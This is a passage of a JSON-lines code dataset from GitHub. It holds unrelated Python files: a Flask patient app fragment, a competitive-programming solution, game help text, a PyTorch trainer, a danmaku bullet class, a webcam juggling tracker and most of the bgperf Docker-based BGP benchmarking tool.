lista_pacientes_DTO = lista_pacientes_prioridad)\n\n@app.route('/consultas')\ndef verConsultas(): \n for con in lista_consultas:\n print(con.get_tipo_consulta())\n return render_template('tabla.html', nombre=con.get_tipo_consulta_valor())\n\n@app.route('/mayor')\ndef buscarMayor(): \n x = buscarPacienteMayor(lista_pacientes)\n print('Paciente mayor encontrado: '+ x.get_nombre())\n return render_template('tabla.html', nombre=x.get_nombre())\n","repo_name":"joserioss/Proyecto_Flask","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1873,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"4341670065","text":"a, b, c, d, e, f = map(int, input().split())\n\nok = [[False] * (3001) for _ in range(3001)]\nok[0][0] = True\nnax = 0\nans1 = 100 * a\nans2 = 0\nfor total in range(1, f + 1):\n for sugar in range(1, total + 1):\n water = total - sugar\n if 100 * a <= total and ok[total - 100 * a][sugar]:\n ok[total][sugar] = True\n if 100 * b <= total and ok[total - 100 * b][sugar]:\n ok[total][sugar] = True\n if c <= total and c <= sugar and ok[total - c][sugar - c]:\n ok[total][sugar] = True\n if d <= total and d <= sugar and ok[total - d][sugar - d]:\n ok[total][sugar] = True\n\n if sugar * 100 <= water * e and ok[total][sugar] and 0 < sugar:\n p = 100 * sugar / total\n if nax < p:\n nax = p\n ans1 = total\n ans2 = sugar\nprint(ans1, ans2)\n","repo_name":"thanaism/online-judge","sub_path":"python/arc-a/arc083_a.py","file_name":"arc083_a.py","file_ext":"py","file_size_in_byte":868,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"34818296672","text":"import LifeLike_color\n\ndef help(index):\n print(\"\")\n if index == 0:\n print(LifeLike_color.BOLD, LifeLike_color.UNDERLINE)\n print(\"This is a list of commands\")\n print(\"For more information about a command,\")\n print('use pls help (number)', LifeLike_color.END)\n print(\" 1: pls search 9: pls withdraw 17: pls upload\")\n print(\" 2: pls beg 10: pls inventory 18: pls fish\")\n print(\" 3: pls gamble 11: pls shop 19: pls maze\")\n print(\" 4: pls slots 12: pls buy\")\n print(\" 5: pls postmemes 13: pls sell\")\n print(\" 6: pls hunt 14: pls drive\")\n print(\" 7: pls balance 15: pls settings\")\n print(\" 8: pls deposit 16: pls help\")\n return \"\"\n elif index == 1:\n text = []\n text.append(\" pls search\")\n text.append(\" Use the search command to search for coins around you!\")\n text.append(\" Delay: 30s\")\n return \"\\n\".join(text)\n elif index == 2:\n text = []\n text.append(\" pls beg\")\n text.append(\" Use the beg command to beg for coins!\")\n text.append(\" Delay: 30s\")\n return \"\\n\".join(text)\n elif index == 3:\n text = []\n text.append(\" pls gamble\")\n text.append(\" Use the gamble command to gamble all your money!\")\n text.append(\" Specify an amount with: max, half or an integer.\")\n text.append(\" Delay: 10s\")\n return \"\\n\".join(text)\n elif index == 4:\n text = []\n text.append(\" pls slots\")\n text.append(\" Use the slots command to risk all your money!\")\n text.append(\" You need 2 or more equal emojis, the more the better!\")\n text.append(\" Specify an amount with: max, half or an integer.\")\n text.append(\" Delay: 10s\")\n return \"\\n\".join(text)\n elif index == 5:\n text = []\n text.append(\" pls postmemes, pls postmeme, pls pm\")\n text.append(\" Use the postmemes command to post memes on \")\n text.append(\" the internet, you get coins from the ads!\")\n text.append(\" Delay: 60s\")\n return \"\\n\".join(text)\n elif index == 6:\n text = []\n text.append(\" pls hunt\")\n text.append(\" Use the hunt command to hunt for animals!\")\n text.append(\" The animals can be sold with the pls sell command.\")\n text.append(\" Delay: 60s\")\n return \"\\n\".join(text)\n elif index == 7:\n text = []\n text.append(\" pls balance, pls bal\")\n text.append(\" Use the balance command to see the money you have!\")\n text.append(\" You can see the money in your wallet, bank and in total.\")\n return \"\\n\".join(text)\n elif index == 8:\n text = []\n text.append(\" pls deposit, pls dep\")\n text.append(\" Use the deposit command to transfer money from\")\n text.append(\" your wallet to your bank!\")\n return \"\\n\".join(text)\n elif index == 9:\n text = []\n text.append(\" pls withdraw, pls with\")\n text.append(\" Use the withdraw command to transfer money from\")\n text.append(\" your bank to your wallet!\")\n return \"\\n\".join(text)\n elif index == 10:\n text = []\n text.append(\" pls inventory, pls inv\")\n text.append(\" Use the inventory command to see the items\")\n text.append(\" you have in your inventory, you can also see\")\n text.append(\" how much they sell for!\")\n return \"\\n\".join(text)\n elif index == 11:\n text = []\n text.append(\" pls shop\")\n text.append(\" Use the shop command to see the items\")\n text.append(\" that are sold in the shop!\")\n return \"\\n\".join(text)\n elif index == 12:\n text = []\n text.append(\" pls buy\")\n text.append(\" Use the buy command to buy items from the shop\")\n return \"\\n\".join(text)\n elif index == 13:\n text = []\n text.append(\" pls sell\")\n text.append(\" Use the sell command to sell items from your inventory!\")\n return \"\\n\".join(text)\n elif index == 14:\n text = []\n text.append(\" pls drive\")\n text.append(\" Use the drive command to drive past all the delays!\")\n text.append(\" Delay: 120s\")\n return \"\\n\".join(text)\n elif index == 15:\n text = []\n text.append(\" pls setting, pls settings\")\n text.append(\" Use the settings command to change settings.\")\n text.append(\" Use pls settings help for list of settings\")\n return \"\\n\".join(text)\n elif index == 16:\n text = []\n text.append(\" pls help\")\n text.append(\" If you see this message you know how this\")\n text.append(\" command works!\")\n return \"\\n\".join(text)\n elif index == 17:\n text = []\n text.append(\" pls upload\")\n text.append(\" Upload a video to MeTube\")\n text.append(\" You earn money from the ads!\")\n text.append(\" delay: 300s\")\n return \"\\n\".join(text)\n elif index == 18:\n text = []\n text.append(\" pls fish\")\n text.append(\" Catch fish with a fishing pole!\")\n text.append(\" You can sell the fish with 'pls sell'!\")\n text.append(\" delay: 45s\")\n return \"\\n\".join(text)\n elif index == 19:\n text = []\n text.append(\" pls maze, pls mazegame\")\n text.append(\" Play a game to win money!\")\n text.append(\" Move the player with zqsd or wasd!\")\n text.append(\" To change use pls settings Keyboard toggle\")\n\ndef settings(command):\n if command[0] in (\"help\", \"info\", \"list\"):\n print(LifeLike_color.BOLD, LifeLike_color.UNDERLINE)\n print(\"Here a list of settings and their current Value\")\n print(LifeLike_color.END)\n print(\" EXAMPLE: pls settings color False (capitals in True and False!)\")\n print(\"\")\n print(\" 1: color \", str(LifeLike_color.colorSet))\n elif command[0] in (\"colors\", \"color\"):\n if len(command) < 2:\n print(\"Use True or False\")\n elif command[1] in (\"True\", \"False\"):\n LifeLike_color.noColors(command[1])\n elif command[0] in (\"keyboard\", \"Keyboard\"):\n return \"toggleKeys\"\n return 0\n","repo_name":"vanArthur/lifelike","sub_path":"LifeLike_help.py","file_name":"LifeLike_help.py","file_ext":"py","file_size_in_byte":6369,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"74681273192","text":"import numpy as np\nimport torch\nimport matplotlib.pyplot as plt\n\nfrom tqdm import tqdm\nfrom pdb import set_trace as st\n\ndef draw_result(curve_list1, curve_list2, file_name):\n plt.plot(range(len(curve_list1)), curve_list1, '-b', label='train')\n plt.plot(range(len(curve_list2)), curve_list2, '-r', label='val')\n plt.xlabel(\"n iteration\")\n plt.legend(loc='upper left')\n plt.title(file_name.split('.')[0])\n plt.savefig(file_name)\n plt.clf()\n\n\n\nclass Trainer:\n def __init__(self, model, criterion, optimizer, scheduler, use_gpu):\n\n self.criterion = criterion\n self.optimizer = optimizer\n self.scheduler = scheduler\n self.use_gpu = use_gpu\n if self.use_gpu:\n self.model = model.cuda()\n else:\n self.model = model\n def train(self, epochs, train_loader, valid_loader, save_path):\n self.model.train()\n max_val_acc = 0\n train_loss = []\n train_acc = []\n val_loss = []\n val_acc = []\n\n for epoch in range(epochs):\n epoch_loss = 0\n epoch_accuracy = 0\n count = 0\n for data, label in tqdm(train_loader):\n # count += 1\n # if count == 100:\n # break\n if self.use_gpu:\n data = data.cuda()\n label = label.cuda()\n else:\n data = data\n label = label \n\n output = self.model(data)\n loss = self.criterion(output, label)\n\n self.optimizer.zero_grad()\n loss.backward()\n self.optimizer.step()\n\n acc = (output.argmax(dim=1) == label).float().mean()\n epoch_accuracy += acc / len(train_loader)\n epoch_loss += loss / len(train_loader)\n print(f\"Epoch : {epoch+1} - loss : {epoch_loss:.4f} - acc: {epoch_accuracy:.4f}\\n\")\n if epoch % 1 == 0:\n epoch_val_loss, epoch_val_accuracy = self.val(valid_loader)\n if epoch_val_accuracy > max_val_acc:\n print('model saved !!!')\n torch.save(self.model.state_dict(), save_path)\n val_loss.append(epoch_val_loss)\n val_acc.append(epoch_val_accuracy)\n train_loss.append(epoch_loss)\n train_acc.append(epoch_accuracy)\n ## draw images\n draw_result(train_loss, val_loss, 'val_curve.png')\n draw_result(train_acc, val_acc, 'acc_curve.png')\n \n\n def val(self, valid_loader):\n with torch.no_grad():\n epoch_val_accuracy = 0\n epoch_val_loss = 0\n count = 0\n for data, label in tqdm(valid_loader):\n # count += 1\n # if count == 10:\n # break\n if self.use_gpu:\n data = data.cuda()\n label = label.cuda()\n else:\n data = data\n label = label\n\n val_output = self.model(data)\n val_loss = self.criterion(val_output, label)\n\n acc = (val_output.argmax(dim=1) == label).float().mean()\n epoch_val_accuracy += acc / len(valid_loader)\n epoch_val_loss += val_loss / len(valid_loader)\n print(f\"- val_loss : {epoch_val_loss:.4f} - val_acc: {epoch_val_accuracy:.4f}\\n\")\n return epoch_val_loss, epoch_val_accuracy","repo_name":"jonlu0602/awoo_vit","sub_path":"base_trainer.py","file_name":"base_trainer.py","file_ext":"py","file_size_in_byte":3520,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"7793128189","text":"import math\nimport pygame\n\nfrom .pdobject import Object\nfrom .collider import Collider\n\nfrom math import radians as rads\nfrom math import degrees as degs\n\n\nclass Bullet(Object):\n def __init__(\n self, game, x=0, y=0, img=None, *,\n vx=None, vy=None, speed=None, angle=None, acceleration=0, angular_momentum=0,\n collider=None\n ):\n super().__init__(game, x=x, y=y, img=img, collider=collider)\n self.vx = vx or 0\n self.vy = vy or 0\n self._angle = angle or 0 # cache in case speed drops to 0\n self.acceleration = acceleration\n self.angular_momentum = angular_momentum\n self.base_image = self._image = img\n self.stop_in = -1\n self.pattern = []\n if angle is not None and speed is not None:\n self.speed = speed\n\n if not collider:\n self.collider = Collider(self.x, self.y, self.rect.height, self.rect.width, self.angle)\n\n def step(self):\n self.speed += self.acceleration\n self.angle += self.angular_momentum\n self.angle %= 360\n self.x += self.vx\n self.y += self.vy\n self.image = pygame.transform.rotate(self.base_image, -self.angle)\n self.collider.x, self.collider.y = self.x, self.y\n if self.pattern:\n self.run_pattern()\n if self.stop_in > 0:\n self.stop_in -= 1\n elif self.stop_in == 0:\n self.speed = 0\n\n super().step()\n\n def run_pattern(self):\n nxt = self.pattern[0]\n if 'wait' in nxt:\n nxt['wait'] -= 1\n\n if 'wait' not in nxt or nxt['wait'] <= 0:\n nxt = self.pattern.pop(0)\n for name in ['x', 'y', 'vx', 'vy', 'speed', 'angle']:\n if name in nxt:\n setattr(self, name, nxt[name])\n\n if 'exec' in nxt:\n args = nxt['args'] if 'args' in nxt else ()\n kwargs = nxt['kwargs'] if 'kwargs' in nxt else {}\n nxt['exec'](*args, **kwargs)\n\n def move_to(self, x, y, frames=0):\n \"\"\"\n Move to a point over a certain number of frames\n :param x:\n :param y:\n :param frames:\n :return:\n \"\"\"\n if frames != 0:\n self.vx = (x - self.x) / frames\n self.vy = (y - self.y) / frames\n self.stop_in = frames\n else:\n self.x, self.y = x, y\n\n def point_towards(self, obj):\n \"\"\"\n Set the bullet to point towards an object\n :param obj:\n :return:\n \"\"\"\n self.angle = math.atan2(self.y - obj.y, self.x - obj.x)\n\n @property\n def speed(self):\n return math.sqrt(self.vx**2 + self.vy**2)\n\n @speed.setter\n def speed(self, value):\n self.angle = degs(math.atan2(self.vy, self.vx)) + (180 if self.vx < 0 else 0)\n self.vx = math.cos(rads(self._angle)) * value\n self.vy = math.sin(rads(self._angle)) * value\n\n @property\n def angle(self):\n return self._angle\n\n @property\n def image(self):\n return self._image\n\n @image.setter\n def image(self, value):\n x, y = self.x, self.y\n self._image = value\n self.rect = self._image.get_rect()\n self.x = x\n self.y = y\n\n @angle.setter\n def angle(self, value):\n self._angle = value\n self.collider.angle = self.angle\n self.vx = math.cos(rads(self._angle)) * self.speed\n self.vy = math.sin(rads(self._angle)) * self.speed\n","repo_name":"shiinamiyuki/PyDanmaku","sub_path":"pydanmaku_old/bullet.py","file_name":"bullet.py","file_ext":"py","file_size_in_byte":3489,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"72"} +{"seq_id":"74483800553","text":"import numpy as np\nimport cv2\nimport time\nfrom utils import handleTensorflowSession\nfrom drawingutils import drawBallsAndHands\nfrom keras.models import load_model\nfrom gridmodel import GridModel\nfrom frameratechecker import FramerateChecker\n\nhandleTensorflowSession(memoryLimit=0.2)\n\ngridModel = GridModel(\"/home/stakeya/Desktop/BSE/Object_Juggling_Files/grid_models/grid_model_submovavg_64x64.h5\")\npatternModel = load_model(\"/home/stakeya/Desktop/BSE/Object_Juggling_Files/pattern_models/3b_pattern_model.h5\")\ncap = cv2.VideoCapture(0)\nhistory = []\nframerateChecker = FramerateChecker(expected_fps=30)\nf = open('/tmp/data.csv', 'w')\nf.write(\"x0,y0,x1,y1,x2,y2\\n\")\nwhile(True):\n framerateChecker.check()\n ret, original_img = cap.read()\n if not ret:\n print (\"Couldn't get frame from camera.\")\n break\n else:\n height, width, channels = original_img.shape\n tocrop = int((width - height) / 2)\n original_img = original_img[:,tocrop:-tocrop]\n ballsAndHands = gridModel.predict(original_img.copy())\n coordinates = []\n coordinates.extend(ballsAndHands[\"rhand\"])\n coordinates.extend(ballsAndHands[\"lhand\"])\n coordinates.extend(ballsAndHands[\"balls\"].flatten())\n history.append(coordinates)\n \n if len(history) > 30:\n del history[0]\n\n else:\n continue\n \n pattern = np.array(history)\n pattern[:,::2] = pattern[:,::2] - np.mean(pattern[:,::2])\n pattern[:,1::2] = pattern[:,1::2] - np.mean(pattern[:,1::2])\n pattern = pattern / pattern.std()\n pattern = np.expand_dims(pattern, axis=0)\n pattern_activations = patternModel.predict(pattern)[0]\n \n img = np.zeros((256,256,3), dtype=np.uint8)\n \n font = cv2.FONT_HERSHEY_PLAIN\n img = cv2.resize(original_img, (256,256), cv2.INTER_CUBIC)\n drawBallsAndHands(img, ballsAndHands)\n f.write('{},{},{},{},{},{}\\n'.format(ballsAndHands[\"balls\"][0, 0], ballsAndHands[\"balls\"][0, 1],\n ballsAndHands[\"balls\"][1, 0], ballsAndHands[\"balls\"][1, 1],\n ballsAndHands[\"balls\"][2, 0], ballsAndHands[\"balls\"][2, 1]))\n img = cv2.resize(img, (768,768), cv2.INTER_CUBIC)\n\n \n cv2.imshow('Webcam', img)\n key = cv2.waitKey(1)\n \n if key == 27:\n break\nf.close() \ncap.release()\ncv2.destroyAllWindows()\n ","repo_name":"BlueStamp-Engineering-2022/Sumire_BSE_Project","sub_path":"Object_Juggling_Files/jugglingcode.py","file_name":"jugglingcode.py","file_ext":"py","file_size_in_byte":2500,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"23658605794","text":"import os\nimport sys\nimport yaml\nimport time\nimport shutil\nimport netaddr\nimport datetime\nfrom argparse import ArgumentParser, REMAINDER\nfrom itertools import chain, islice\nfrom requests.exceptions import ConnectionError\nfrom pyroute2 import IPRoute\nfrom socket import AF_INET\nfrom nsenter import Namespace\nfrom base import *\nfrom exabgp import ExaBGP, ExaBGP_MRTParse\nfrom gobgp import GoBGP, GoBGPTarget\nfrom bird import BIRD, BIRDTarget\nfrom quagga import Quagga, QuaggaTarget\nfrom tester import ExaBGPTester\nfrom mrt_tester import GoBGPMRTTester, ExaBGPMrtTester\nfrom monitor import Monitor\nfrom settings import dckr\n\nfrom queue import Queue\n# Comment out the above line and uncomment the below for Python2.\n#from Queue import Queue\n\nfrom mako.template import Template\nfrom packaging import version\nfrom docker.types import IPAMConfig, IPAMPool\n\ndef gen_mako_macro():\n return '''<%\n import netaddr\n from itertools import islice\n\n it = netaddr.iter_iprange('100.0.0.0','160.0.0.0')\n\n def gen_paths(num):\n return list('{0}/32'.format(ip) for ip in islice(it, num))\n%>\n'''\n\ndef rm_line():\n print ('\\x1b[1A\\x1b[2K\\x1b[1D\\x1b[1A')\n\n\ndef gc_thresh3():\n gc_thresh3 = '/proc/sys/net/ipv4/neigh/default/gc_thresh3'\n with open(gc_thresh3) as f:\n return int(f.read().strip())\n\n\ndef doctor(args):\n ver = dckr.version()['Version']\n if ver.endswith('-ce'):\n curr_version = version.parse(ver.replace('-ce', ''))\n else:\n curr_version = version.parse(ver)\n min_version = version.parse('1.9.0')\n ok = curr_version >= min_version\n print ('docker version ... {1} ({0})'.format(ver, 'ok' if ok else 'update to {} at least'.format(min_version)))\n\n print ('bgperf image',)\n if img_exists('bgperf/exabgp'):\n print ('... ok')\n else:\n print ('... not found. run `bgperf prepare`')\n\n for name in ['gobgp', 'bird', 'quagga']:\n print ('{0} image'.format(name),)\n if img_exists('bgperf/{0}'.format(name)):\n print ('... ok')\n else:\n print ('... not found. if you want to bench {0}, run `bgperf prepare`'.format(name))\n\n print ('/proc/sys/net/ipv4/neigh/default/gc_thresh3 ... {0}'.format(gc_thresh3()))\n\n\ndef prepare(args):\n ExaBGP.build_image(args.force, nocache=args.no_cache)\n ExaBGP_MRTParse.build_image(args.force, nocache=args.no_cache)\n GoBGP.build_image(args.force, nocache=args.no_cache)\n Quagga.build_image(args.force, checkout='quagga-1.0.20160309', nocache=args.no_cache)\n BIRD.build_image(args.force, nocache=args.no_cache)\n\n\ndef update(args):\n if args.image == 'all' or args.image == 'exabgp':\n ExaBGP.build_image(True, checkout=args.checkout, nocache=args.no_cache)\n if args.image == 'all' or args.image == 'exabgp_mrtparse':\n ExaBGP_MRTParse.build_image(True, checkout=args.checkout, nocache=args.no_cache)\n if args.image == 'all' or args.image == 'gobgp':\n GoBGP.build_image(True, checkout=args.checkout, nocache=args.no_cache)\n if args.image == 'all' or args.image == 'quagga':\n Quagga.build_image(True, checkout=args.checkout, nocache=args.no_cache)\n if args.image == 'all' or args.image == 'bird':\n BIRD.build_image(True, checkout=args.checkout, nocache=args.no_cache)\n\n\ndef bench(args):\n config_dir = '{0}/{1}'.format(args.dir, args.bench_name)\n dckr_net_name = args.docker_network_name or args.bench_name + '-br'\n\n for target_class in [BIRDTarget, GoBGPTarget, QuaggaTarget]:\n if ctn_exists(target_class.CONTAINER_NAME):\n print ('removing target container', target_class.CONTAINER_NAME)\n dckr.remove_container(target_class.CONTAINER_NAME, force=True)\n\n if not args.repeat:\n if ctn_exists(Monitor.CONTAINER_NAME):\n print ('removing monitor container', Monitor.CONTAINER_NAME)\n dckr.remove_container(Monitor.CONTAINER_NAME, force=True)\n\n for ctn_name in get_ctn_names():\n if ctn_name.startswith(ExaBGPTester.CONTAINER_NAME_PREFIX) or \\\n ctn_name.startswith(ExaBGPMrtTester.CONTAINER_NAME_PREFIX) or \\\n ctn_name.startswith(GoBGPMRTTester.CONTAINER_NAME_PREFIX):\n print ('removing tester container', ctn_name)\n dckr.remove_container(ctn_name, force=True)\n\n if os.path.exists(config_dir):\n shutil.rmtree(config_dir)\n\n if args.file:\n with open(args.file) as f:\n conf = yaml.load(Template(f.read()).render())\n else:\n conf = gen_conf(args)\n if not os.path.exists(config_dir):\n os.makedirs(config_dir)\n with open('{0}/scenario.yaml'.format(config_dir), 'w') as f:\n f.write(conf)\n conf = yaml.load(Template(conf).render())\n\n bridge_found = False\n for network in dckr.networks(names=[dckr_net_name]):\n if network['Name'] == dckr_net_name:\n print ('Docker network \"{}\" already exists'.format(dckr_net_name))\n bridge_found = True\n break\n if not bridge_found:\n subnet = conf['local_prefix']\n print ('creating Docker network \"{}\" with subnet {}'.format(dckr_net_name, subnet))\n ipam = IPAMConfig(pool_configs=[IPAMPool(subnet=subnet)])\n network = dckr.create_network(dckr_net_name, driver='bridge', ipam=ipam)\n\n num_tester = sum(len(t.get('neighbors', [])) for t in conf.get('testers', []))\n if num_tester > gc_thresh3():\n print ('gc_thresh3({0}) is lower than the number of peer({1})'.format(gc_thresh3(), num_tester))\n print ('type next to increase the value')\n print ('$ echo 16384 | sudo tee /proc/sys/net/ipv4/neigh/default/gc_thresh3')\n\n print ('run monitor')\n m = Monitor(config_dir+'/monitor', conf['monitor'])\n m.run(conf, dckr_net_name)\n\n is_remote = True if 'remote' in conf['target'] and conf['target']['remote'] else False\n\n if is_remote:\n print ('target is remote ({})'.format(conf['target']['local-address']))\n\n ip = IPRoute()\n\n # r: route to the target\n r = ip.get_routes(dst=conf['target']['local-address'], family=AF_INET)\n if len(r) == 0:\n print ('no route to remote target {0}'.format(conf['target']['local-address']))\n sys.exit(1)\n\n # intf: interface used to reach the target\n idx = [t[1] for t in r[0]['attrs'] if t[0] == 'RTA_OIF'][0]\n intf = ip.get_links(idx)[0]\n intf_name = intf.get_attr('IFLA_IFNAME')\n\n # raw_bridge_name: Linux bridge name of the Docker bridge\n # TODO: not sure if the linux bridge name is always given by\n # \"br-<first 12 characters of Docker network ID>\".\n raw_bridge_name = args.bridge_name or 'br-{}'.format(network['Id'][0:12])\n\n # raw_bridges: list of Linux bridges that match raw_bridge_name\n raw_bridges = ip.link_lookup(ifname=raw_bridge_name)\n if len(raw_bridges) == 0:\n if not args.bridge_name:\n print('can\\'t determine the Linux bridge interface name starting '\n 'from the Docker network {}'.format(dckr_net_name))\n else:\n print('the Linux bridge name provided ({}) seems nonexistent'.format(\n raw_bridge_name))\n print('Since the target is remote, the host interface used to '\n 'reach the target ({}) must be part of the Linux bridge '\n 'used by the Docker network {}, but without the correct Linux '\n 'bridge name it\\'s impossible to verify if that\\'s true'.format(\n intf_name, dckr_net_name))\n if not args.bridge_name:\n print('Please supply the Linux bridge name corresponding to the '\n 'Docker network {} using the --bridge-name argument.'.format(\n dckr_net_name))\n sys.exit(1)\n\n # intf_bridge: bridge interface that intf is already member of\n intf_bridge = intf.get_attr('IFLA_MASTER')\n\n # if intf is not member of the bridge, add it\n if intf_bridge not in raw_bridges:\n if intf_bridge is None:\n print('Since the target is remote, the host interface used to '\n 'reach the target ({}) must be part of the Linux bridge '\n 'used by the Docker network {}'.format(\n intf_name, dckr_net_name))\n sys.stdout.write('Do you confirm to add the interface {} '\n 'to the bridge {}? [yes/NO] '.format(\n intf_name, raw_bridge_name\n ))\n try:\n answer = input()\n except:\n print ('aborting')\n sys.exit(1)\n answer = answer.strip()\n if answer.lower() != 'yes':\n print ('aborting')\n sys.exit(1)\n\n print ('adding interface {} to the bridge {}'.format(\n intf_name, raw_bridge_name)\n )\n br = raw_bridges[0]\n\n try:\n ip.link('set', index=idx, master=br)\n except Exception as e:\n print('Something went wrong: {}'.format(str(e)))\n print('Please consider running the following command to '\n 'add the {iface} interface to the {br} bridge:\\n'\n ' sudo brctl addif {br} {iface}'.format(\n iface=intf_name, br=raw_bridge_name))\n print('\\n\\n\\n')\n raise\n else:\n curr_bridge_name = ip.get_links(intf_bridge)[0].get_attr('IFLA_IFNAME')\n print('the interface used to reach the target ({}) '\n 'is already member of the bridge {}, which is not '\n 'the one used in this configuration'.format(\n intf_name, curr_bridge_name))\n print('Please consider running the following command to '\n 'remove the {iface} interface from the {br} bridge:\\n'\n ' sudo brctl addif {br} {iface}'.format(\n iface=intf_name, br=curr_bridge_name))\n sys.exit(1)\n else:\n if args.target == 'gobgp':\n target_class = GoBGPTarget\n elif args.target == 'bird':\n target_class = BIRDTarget\n elif args.target == 'quagga':\n target_class = QuaggaTarget\n\n print ('run', args.target)\n if args.image:\n target = target_class('{0}/{1}'.format(config_dir, args.target), conf['target'], image=args.image)\n else:\n target = target_class('{0}/{1}'.format(config_dir, args.target), conf['target'])\n target.run(conf, dckr_net_name)\n\n time.sleep(1)\n\n print ('waiting bgp connection between {0} and monitor'.format(args.target))\n m.wait_established(conf['target']['local-address'])\n\n if not args.repeat:\n for idx, tester in enumerate(conf['testers']):\n if 'name' not in tester:\n name = 'tester{0}'.format(idx)\n else:\n name = tester['name']\n if 'type' not in tester:\n tester_type = 'normal'\n else:\n tester_type = tester['type']\n if tester_type == 'normal':\n tester_class = ExaBGPTester\n elif tester_type == 'mrt':\n if 'mrt_injector' not in tester:\n mrt_injector = 'gobgp'\n else:\n mrt_injector = tester['mrt_injector']\n if mrt_injector == 'gobgp':\n tester_class = GoBGPMRTTester\n elif mrt_injector == 'exabgp':\n tester_class = ExaBGPMrtTester\n else:\n print ('invalid mrt_injector:', mrt_injector)\n sys.exit(1)\n else:\n print ('invalid tester type:', tester_type)\n sys.exit(1)\n t = tester_class(name, config_dir+'/'+name, tester)\n print ('run tester', name, 'type', tester_type)\n t.run(conf['target'], dckr_net_name)\n\n start = datetime.datetime.now()\n\n q = Queue()\n\n m.stats(q)\n if not is_remote:\n target.stats(q)\n\n def mem_human(v):\n if v > 1000 * 1000 * 1000:\n return '{0:.2f}GB'.format(float(v) / (1000 * 1000 * 1000))\n elif v > 1000 * 1000:\n return '{0:.2f}MB'.format(float(v) / (1000 * 1000))\n elif v > 1000:\n return '{0:.2f}KB'.format(float(v) / 1000)\n else:\n return '{0:.2f}B'.format(float(v))\n\n f = open(args.output, 'w') if args.output else None\n cpu = 0\n mem = 0\n cooling = -1\n while True:\n info = q.get()\n\n if not is_remote and info['who'] == target.name:\n cpu = info['cpu']\n mem = info['mem']\n\n if info['who'] == m.name:\n now = datetime.datetime.now()\n elapsed = now - start\n recved = info['state']['adj-table']['accepted'] if 'accepted' in info['state']['adj-table'] else 0\n if elapsed.seconds > 0:\n rm_line()\n print ('elapsed: {0}sec, cpu: {1:>4.2f}%, mem: {2}, recved: {3}'.format(elapsed.seconds, cpu, mem_human(mem), recved))\n f.write('{0}, {1}, {2}, {3}\\n'.format(elapsed.seconds, cpu, mem, recved)) if f else None\n f.flush() if f else None\n\n if cooling == args.cooling:\n f.close() if f else None\n return\n\n if cooling >= 0:\n cooling += 1\n\n if info['checked']:\n cooling = 0\n\ndef gen_conf(args):\n neighbor_num = args.neighbor_num\n prefix = args.prefix_num\n as_path_list = args.as_path_list_num\n prefix_list = args.prefix_list_num\n community_list = args.community_list_num\n ext_community_list = args.ext_community_list_num\n\n local_address_prefix = netaddr.IPNetwork(args.local_address_prefix)\n\n if args.target_local_address:\n target_local_address = netaddr.IPAddress(args.target_local_address)\n else:\n target_local_address = local_address_prefix.broadcast - 1\n\n if args.monitor_local_address:\n monitor_local_address = netaddr.IPAddress(args.monitor_local_address)\n else:\n monitor_local_address = local_address_prefix.ip + 2\n\n if args.target_router_id:\n target_router_id = netaddr.IPAddress(args.target_router_id)\n else:\n target_router_id = target_local_address\n\n if args.monitor_router_id:\n monitor_router_id = netaddr.IPAddress(args.monitor_router_id)\n else:\n monitor_router_id = monitor_local_address\n\n conf = {}\n conf['local_prefix'] = str(local_address_prefix)\n conf['target'] = {\n 'as': 1000,\n 'router-id': str(target_router_id),\n 'local-address': str(target_local_address),\n 'single-table': args.single_table,\n }\n\n if args.target_config_file:\n conf['target']['config_path'] = args.target_config_file\n\n conf['monitor'] = {\n 'as': 1001,\n 'router-id': str(monitor_router_id),\n 'local-address': str(monitor_local_address),\n 'check-points': [prefix * neighbor_num],\n }\n\n offset = 0\n\n it = netaddr.iter_iprange('90.0.0.0', '100.0.0.0')\n\n conf['policy'] = {}\n\n assignment = []\n\n if prefix_list > 0:\n name = 'p1'\n conf['policy'][name] = {\n 'match': [{\n 'type': 'prefix',\n 'value': list('{0}/32'.format(ip) for ip in islice(it, prefix_list)),\n }],\n }\n assignment.append(name)\n\n if as_path_list > 0:\n name = 'p2'\n conf['policy'][name] = {\n 'match': [{\n 'type': 'as-path',\n 'value': list(range(10000, 10000 + as_path_list)),\n }],\n }\n assignment.append(name)\n\n if community_list > 0:\n name = 'p3'\n conf['policy'][name] = {\n 'match': [{\n 'type': 'community',\n 'value': list('{0}:{1}'.format(i/(1<<16), i%(1<<16)) for i in range(community_list)),\n }],\n }\n assignment.append(name)\n\n if ext_community_list > 0:\n name = 'p4'\n conf['policy'][name] = {\n 'match': [{\n 'type': 'ext-community',\n 'value': list('rt:{0}:{1}'.format(i/(1<<16), i%(1<<16)) for i in range(ext_community_list)),\n }],\n }\n assignment.append(name)\n\n neighbors = {}\n configured_neighbors_cnt = 0\n for i in range(3, neighbor_num+3+2):\n if configured_neighbors_cnt == neighbor_num:\n break\n curr_ip = local_address_prefix.ip + i\n if curr_ip in [target_local_address, monitor_local_address]:\n print('skipping tester\\'s neighbor with IP {} because it collides with target or monitor'.format(curr_ip))\n continue\n router_id = str(local_address_prefix.ip + i)\n neighbors[router_id] = {\n 'as': 1000 + i,\n 'router-id': router_id,\n 'local-address': router_id,\n 'paths': '${{gen_paths({0})}}'.format(prefix),\n 'filter': {\n args.filter_type: assignment,\n },\n }\n configured_neighbors_cnt += 1\n\n conf['testers'] = [{\n 'name': 'tester',\n 'type': 'normal',\n 'neighbors': neighbors,\n }]\n return gen_mako_macro() + yaml.dump(conf, default_flow_style=False)\n\n\ndef config(args):\n conf = gen_conf(args)\n\n with open(args.output, 'w') as f:\n f.write(conf)\n\n\nif __name__ == '__main__':\n parser = ArgumentParser(description='BGP performance measuring tool')\n parser.add_argument('-b', '--bench-name', default='bgperf')\n parser.add_argument('-d', '--dir', default='/tmp')\n s = parser.add_subparsers()\n parser_doctor = s.add_parser('doctor', help='check env')\n parser_doctor.set_defaults(func=doctor)\n\n parser_prepare = s.add_parser('prepare', help='prepare env')\n parser_prepare.add_argument('-f', '--force', action='store_true', help='build even if the container already exists')\n parser_prepare.add_argument('-n', 